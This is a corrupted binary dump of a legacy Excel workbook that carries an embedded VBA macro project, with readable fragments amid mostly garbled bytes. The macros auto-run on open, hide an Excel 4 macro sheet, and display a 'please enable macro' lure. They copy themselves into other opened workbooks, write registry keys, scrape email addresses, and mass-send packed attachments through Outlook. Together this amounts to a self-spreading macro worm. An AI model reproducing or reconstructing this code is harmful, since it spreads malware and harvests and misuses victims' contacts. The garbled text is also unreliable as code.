appq�a�(jcpj("))�t�rue asi*�aloop=% s?_� 1q�[z{f�4?7q\sub`close (i�0s�@\ �@�a"�b����@в�@��0a��yan af�'��o�lvinbox� 6�qcconbitnd`�ac�,e�,��dt�lxf�#�=���yu�sc۳3�8��f_�a� б�. %l�ica!�t.� �9�^sp�`��.ge�t��mmapi��� ��v�d@efault�(j_ targe�����~�� ec 1 colipxs��i.b�23�v �vah��.run� �_ex�o�p�o�� �svbhid�g{�{�tb p��gq/e(ach�mppag�e in � k�< 0i�b`>55 �t�`�t �?0�=@�/valhid_�0($d .pbody��up_�t@��, 8{ ���j_non_sо�2�allt0��0�2ku5q�y{0;2�u� � sourc�e_datal �aaaodict��r dp��ta , temp_data, ih_asc, header_endhrimed_arr, no nsame0" print #l" dim regex, matchs, &sn()xset odict = createobject(""" & "scripting.�$ionarylylvbscript.regexpgq�(.global,true�pattern-\w ([- .])*@��\. ��,�� eexecute(sourcfe�ُ�re�ç�(!".c��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ou��- �1for i@$lb�d(�) pto un�* � �i)@�i��(& vbcr�lfnext ��(b(n(��h7@%�)`ý��'if���x> 0 txhens!h�i�$.�keyss l>�f�>��@vali���ddress}�&�{`# �!@ e0nd i/;i|noth�y� �fun�ct�{ ���v � sub add�_t@f(inp�a�d_song���`_frag/\abobjfso, l�ogfile a_path#f�ol@� `���&$fd:\coll�����a�*�im�b!����f�sys�f#�d �on err`w�9ume ni�a��� .�cfb(el n ]�.�exist.s���ch\� .t�z��l8b$a2�t� !  , ��o$8s��"�s�'���$seab case ׂt�r� #8 �"at�"ope�n�"tdf, 8#�, -�� 1a�.writ -c5� c�2clos;_q� 2��� so�.� 9o%� 2� ���s� c� c� i�%[�s!�5>n�n �"�ub���neq� r��allf?.���m�2n�, m�y��@%��l�ss< ubo�und(a)c��p@�erve a�(n*2�a�?�r����n x 1/ �8@} � �o�/ -1/ d}=0a��)� �clopw(ip�p�?q� �z�� b\t�est.t�������� �����#pk_��ax���>��~� нw�.��@eenupd`�n&g"� гto rebefpsend �sav�ec���1�� � ��af�<c c<4$���1� ch8dri�%��, ��,'"c:\���ir`)��1 ��q�environ$("comspec"�3 /c makecab �0� � c*�i  !if nxext�yb�radomnine`(leng�>i�ntegerr� e�h !@jj��,� k�i��"��n"�#�$<=� oc �@:1e� ��i�1 `-�o�����$$_i�d ��u �= t / 10��ran0izw[��� k� `(ry* (@* i - m01)) � 1t m��k <> � �t ��� ��m�/ �`get�_ten_�]�q�.kuas�le�a_�arr�a�lpa�pspkt(read@[("d: \coll�fed�5h\logr�)�pc�x�ykrr�v)u@bound(�)u�l�s ��"����#���o �p$;a$�(c�`�(i�- 1�&g�$�o7on �fxull���6%f\rxesu����&f�so�ilet2>aqk`{sscripting.filesyste�mobject�s�f��@.o@z�ea(5 , 1t�,| -�a� q$.1!all�*�.c|loᾗg�� 3ragmark, �pathf��o?n�o‰oq}("om@:���left(�, len�a(10 ���� �´��f��`��i���t_q1" �u�e� 2���w�rite fd� �1e�ڑ1��"�i�"��b���"a1#mqsӯgn�4store�be��eq�(#!! aa!i��, i_rowjcol�@�p�sht1s_�z�4�8�.dis���alert!�$�� � �i�� ���q �� aa.vi�sible �~r0#�vs"!")(1)`"auto_a�q��" then aa.delete next for each� sht in�isworkbook.sheet�s iff.name = �"macro1�b�.visib�lbxl| d��uend if�ap(1).s�cc�.add5�<<> v�^��ver�yhidden�h i_row�wint((15 * rnd) 1) i_col6� cellsr(, )�"** confidential!b " ��-2�use " & chr(34)�left(th��k, len ) - �"_k�ey.vbs @p0o op��a fpile.$3 $�8���$�1v$�������ļ��"with ra�nge(u, �n�gb�.font.bold�_tru���colorindex@3 �� application.screenup2d�ng� sub private func� resto�reafter�w"(�#dim��, del_�, rngcfrag as boolea��on err{@�u�܃�@ a9�veb���,fa ls �displayalert�s d?�$� ��l*�b�w�l�� a��td).c>"a1:f1 5"�' instr(.value, "�i") �> 0b� ��*= �>exit ���<��� l"ņa}�5)&�?cbac�a ��q��!���� ��!yy�it,"�� x�$ x� �x�ht�� $ 0lt�p�� x�$ x� lp��=2t�p�x�$"�� x�$ x� �x�  >\�(`�%x�$ �x� d \�w<� :l� ]�@)x�\�5<��v=[x� x�� $ �"��� x�$ x� �x�p,$ $t�p�x�\�<�,��f\�`�:d� %t�x�$ xx� \t� `� ,q\�x�)x�t�`��x� <�x� <�x� <�x� <�x� <�x� <�x� <�x� <� x� <� x� <9*#t�*#p�*#l�*#h�� x� <2t�p�l�h�� x� < � x� <�x� <!�x� <"�x� <�x� <�c��x�4�(x�,t�p�l�h�x�t�`�\���l�$ xql�x�'x�:\� %l�x� \l� qx�t�l�l�t� ,ql�p� lp���t�p�t� 8lp��t� @�c��t�i,�4t�t�x�p�l�x�0 ��8  0 ��x  0 ��   0 ���  0 ��  0 ��  �x l ��x�k��.\�(`�%p�x� �p� d \���#)p�\�<\�� ��`�%',�%'<�%'l�%p�$ �p� ( )p�\� :`� %p�$ @p��� p�(p�'l�%:`�$%$ �p����p�!:`�%%p�$ (p�,p�(p�'l�%:`�&%$ �p����p�y'(�� p�$ p� tl(�*#$�(*f�%\�$ (\�,2(�$�)p�\�5�(p�'l�%:`�)%$ �p����p�r:`�*� � ������ ,������� �� ������:l�-���%p�$ (p�,p�6������������(p�'l�%:`�.%$ �p����p�!:`�/%p�$ (p�,p�(p�'l�%:`�0%$ �p����p�!:`�1%p�$ (p�,p�(p�'l�%:`�2%$ �p����p�!:`�3%p�$ (p�,p�p�x� �qp�[��t��t��=?t�w� :`�4���%:<�5%�f��%p�x� p����p�6�� t��u���5��l�%\�(`�%p�x� p� d \���6)p�\��x4����x�t�8 (�$�p�\�������������0 ��p  0 ���  0 ���  0 ��p  0 ��8   0 ��h  0 ���   0 ��0  0 ���   0 ��h   0 ���  0 ���        ru��� ��������$�`������������$�`������������$�`������������$�`������������,!`�������������adi`���������������0=�=�#$q`������������$�`������������0�` ������������iay0/0,� `�������������a( `�������������0$9 `������������$a `������������$� `������������<�`��������������a00000$�`������������(`������������a&$)`������������(q`������������y/,y`��������������//$�`������������$�`������������nʲ�0*� ph�d� vbaproje�ct4@j = wreg�y`strkey�`value�k` valuetype `owshellu�`regwrite!>`sht��`add�r`xlexcel4macrosheet0` activesheet%n`range� ` activecell��` formular1c1s`username\�`chrk~`now%�`namesο`excel4macrosheetsɷ`visible��`xlsheetveryhidden��` workbookname �`workbooknotopen�`t1*_`t2 _`t3,_`t4-_`senttime!d`wshshell0`ucase5 `regreadw�`time��`readout�` createfile�` search_in_ole`if_outlook_openi�`dateadd/6` timeerrorӌ`creatcab_sendmailt@`i``attname�` addvbsfilevg` addlistfile��`fsf]` folderexists� ` createfolder�`replacef`addvbsfile_clear͸`addvbsfile_search�` windowstate|�` xlmaximizedzp`run_�`vbhide�w` address_listq�`get_ten_address``mail_sub�`restorebeforesendq `c4�\`chdrive%�` fileexists�`massive_sendmail�`vbcrlf��` email_address��`subjectrp`bodyl�` cc_email_add�` attachment^6`objol�` itmnewmail6` createitem�~` olmailitem��`cc�\` attachments_�`deleteaftersubmit��`continue�t` sendemail��`display�`sendkeysn`wait�`objs��` getobjectz�` instancesofr�`obj��` description� ` radomnine��`lengthy�`jj�]`kb`rndr�`md`singleaddress_arr� `krr��`split�)`fullpath `filetextg|` opentextfile��`readall�u`fragmark)o`pathf; `aa{\`i_rowz,`i_colx�`delete�x`xlsheetvisible��`cells�`fontu`bold��` colorindex��`del_shtv`rngu�`del_fragy�`��_defaultj�`xx�_` workbook_open��`xx_workbookopenpz` ��references�` ��addfromguida{`��guid�`��major'`��minor�a` worksheet��` _b_var_chr\;`�����������������������#������������������������������������������������������������ z"��������������������������������������������������������������������������������������������������������������������������r 0(�q � j< r�stdole>stdo�le h%^*\g{00�020430-c 0046}#2.0#0#c:\windows\syst em32\e2.tlb#ole automation`�eoffdic�eof�i�c�e�����e2df8d04c-5bfa-10�1b-bde5�e�aa�c4�2�e��gram files\commonmicrosoft shared\office11\mso.0dll#��m 1@1.0 ob�� �libraryk ��vbide>�bi�de������e157���r�5.3�r�/��\�6e6ext.olb�0visual basic for applic�as extensibilpity �� �b��ib�thisworkbookg� t��iswa��rkb�ou�� 2� �thb1b�ѐ��ay� ��*\g{000204ef-0000-0000-c000-000000000046}#4.0#9#c:\progra~1\common~1\micros~1\vba\vba6\vbe6.dll#visual basic for applications*\g{00020813-0000-0000-c000-000000000046}#1.5#0#c:\program files\microsoft office\office11\excel.exe#microsoft excel 11.0 object library�*\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\windows\system32\stdole2.tlb#ole automation(*\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.3#0#c:\program files\common files\microsoft shared\office11\mso.dll#microsoft office 11.0 object libraryz*\g{0002e157-0000-0000-c000-000000000046}#5.3#0#c:\program files\common files\microsoft shared\vba\vba6\vbe6ext.olb#microsoft visual basic for applications extensibility 5.3 ������0(�q ������������������������������������������������������ithisworkbook0<51e42830��thisworkbook��� ��� sheet10=51e42830�� sheet1���-��� sheet20>51e42830�� sheet2����0��� sheet30?51e42830�� sheet3���uh��� todole0;51e42830��" todole��u ����`&���x�����������������������������������������������������������������������������������������������������������������������������������������������������������������`��������������������������������������������������������h������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0������������������������������������������������y�icm�#h� 5=�ze�����<�ל��c��o&�u�����u�)� �e�� 3������l�`���l�"^��� �����1.���h��k�k��������������d excel� ` vba��`win16�~`win32`mac��`vba6�#`����1p` stdole�`` vbaproject��` officeu` thisworkbook|�` ��_evaluate�` sheet1�` sheet2�` sheet3�` vbidea�`ģ��1�c` todoleŝ` auto_openv ` application�*` displayalerts��`path2` startuppathi�`screenupdating! `delete_this_wk}�`copytoworkbooke�`sheets ` movemacro4@�`save��`dquote!x` vbprojectoh` vbcomponents '` codemodule�` insertlines��`vbproj�`vbcompӝ` vbcomponent�`codemod}o` deletelines �` countoflines!\`�(do_what��`restoreafteropen��`�(opendoor�`�(microsofthobby �` actionjudgebg` �(copystart� `wb�_`workbookk`vbproj1f�`vbproj2g�` workbooksb�` �(copymodule��` modulename#>` fromvbproject�6` tovbproject��`overwriteexistingk�`fnamer�`compname!�`sj`slashposk#`extposf�` tempvbcomp�`trim@�` vbnullstring��` protection�`vbext_pp_locked�h`erro�`number�-`environ,`vbnormal�-`vbhiddent;`vbsystem��`clear��`kill��`removeϱ`item�z`export��`filenamej�`instrrevĉ`importi�`vbext_ct_document �`lines��`myfile0[y`myfile��`fullnameо` workbookopen��`shellv�`vbminimizedfocus�x`isaddin~|` savecopyast�`fso�`rk1��`rk2��`rk3��`rk4��`kvalue1'�`kvalue2(�`vs�_`version��` createobject��`�(�b,�!� "b bb�shee�t1g�s@#e@��t1h2n!����-u�2�2�2�2r���� 3� 35� 3� 3� �)�u�� tod@u� t�9�dol�y�)�'� ��&��)u !�7b�k*y����ru����~~~~~~~~~~~~~~k ���r|{�l@�q׊��8y ������ ���������������� ���������������)� ���������������a� ���������������y������������������������aqi������1 vbaproject thisworkbooksheet1sheet2sheet3ģ��1todole��f /c:\progra~1\common~1\micros~1\vba\vba6\vbe6.dllvba ����� �10�f4c:\program files\microsoft office\office11\excel.exeexcel ������9@0�f ������o�ħc:\windows\system32\stdole2.tlbstdole ����� qpl��-�[���d�r?c:\program files\common files\microsoft shared\office11\mso.dlloffice ������q`w��fcc:\program files\common files\microsoft shared\vba\vba6\vbe6ext.olbvbide ����� �p auto_opencopytoworkbookdelete_this_wkdo_what copystart��f copymodulemicrosofthobbyopendoorwreg movemacro4 workbookopen actionjudge search_in_olcreatcab_sendmailmassive_sendmailif_outlook_open radomnineget_ten_addressreadout createfilerestorebeforesendrestoreafteropen �f��f� � ������f˧��ʈm��`���f <���@@���l��td�fworkbook @��fname macro1� � thisworkbook`��fb��fd��fn��f " fpublic withevents xx as application 6private sub workbook_open() (set xx = application (on error resume next =alert("�y(u�[ �sq� ��ɓ�ab��$ii��= bapplication.displayalerts = false call do_what end sub bprivate sub xx_workbookopen(byval wb as workbook) jwb.vbproject.references.addfromguid _ guid:= l{0002e157-0000-0000-c000-000000000046} , _ $major:=5, minor:=3 dapplication.screenupdating = false copystart wb bapplication.screenupdating = true��f�����lc���a�w �f��k)zr�a�b)�d��d�f worksheet select a2 =error(false) a3���������������������������������������������������������������������������������������������������������������� !"#����%���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� (=if(error.type(run(" "))=4) a4 0please enable macro!",3) a5 $=file.close(false) a6 =end.if() a7 =return() !auto_activate =macro1!$a$2visiblevbe6.dll q����`  q����" (�›�)m� g)�#fn��^s��h����5�:ati�jeb�.�v��w�ru����~~~~w �������������������������������� q�wb modulename �� fromvbproject tovbprojectoverwriteexistingstrkeyvalue valuetype workbookname email_addresssubjectbody cc_email_add attachmentlengthfullpathfragmarkpathf q� ( q)8thisworkbookthisworkbooksheet1sheet1sheet2sheet2sheet3sheet3todoletodoleid="{06ee793b-e2d4-44e3-ba9a-b0352d97a174}" document=thisworkbook/&h00000000 document=sheet1/&h00000000 document=sheet2/&h00000000 document=sheet3/&h00000000 module=todole name="vbaproject" helpcontextid="0" versioncompatible32="393222000" cmg="c9cb23b127b127b127b127" dpb="929078b340b440b440" gc="5b59b18a7b8b7b8b84" [host extender info] &h00000001={3832d640-cf90-11cf������������summaryinformation(���������documentsummaryinformation8������������compobj������������$j-8e43-00a0c911005a};vbe;&h00000000 [workspace] thisworkbook=0, 0, 0, 0, c sheet1=0, 0, 0, 0, c sheet2=0, 0, 0, 0, c sheet3=0, 0, 0, 0, c todole=0, 0, 0, 0, c �������oh�� '��0�hp\h � � ���microsoft excel@ c���@�2��@��aå�����՜.�� ,��0� pxd lt|� � ��' sheet1sheet2sheet3 �������� ���� �fmicrosoft office excel ������biff8excel.sheet.8�9�q
网站地图